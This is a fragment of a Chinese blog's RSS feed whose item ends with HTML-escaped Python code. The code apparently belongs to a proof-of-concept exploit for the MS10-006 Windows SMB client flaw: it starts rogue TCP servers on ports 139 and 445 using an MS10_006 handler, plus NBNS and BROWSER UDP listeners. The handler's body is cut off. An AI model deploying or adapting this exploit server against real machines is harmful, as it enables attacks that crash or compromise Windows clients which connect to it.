/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; data = self.request.recv(1024)<br /><br /><br />def serve_thread_udp(host, port, handler):<br />&nbsp;&nbsp;&nbsp; server = SocketServer.UDPServer((host, port), handler)<br />&nbsp;&nbsp;&nbsp; server.serve_forever()<br /><br />def serve_thread_tcp(host, port, handler):<br />&nbsp;&nbsp;&nbsp; server = SocketServer.TCPServer((host, port), handler)<br />&nbsp;&nbsp;&nbsp; server.serve_forever()<br /><br />SocketServer.TCPServer.allow_reuse_address = 1<br />threading.Thread(target=serve_thread_tcp,args=('', 139,MS10_006)).start()<br />threading.Thread(target=serve_thread_tcp,args=('', 445,MS10_006)).start()<br />threading.Thread(target=serve_thread_udp,args=('', 137,NBNS)).start()<br />threading.Thread(target=serve_thread_udp,args=('', 138,BROWSER)).start()<br /><br />&nbsp;</p></blockquote>]]></description><category>网络八卦</category><comments>http://www.smxiaoqiang.cn/#comment</comments><wfw:comment>http://www.smxiaoqiang.cn/</wfw:comment><wfw:commentRss>http://www.smxiaoqiang.cn/feed.asp?cmt=294</wfw:commentRss><trackback:ping>http://www.smxiaoqiang.cn/cmd.asp?act=tb&amp;id=294&amp;key=35fb08d9</trackback:ping></item></channel></rss>
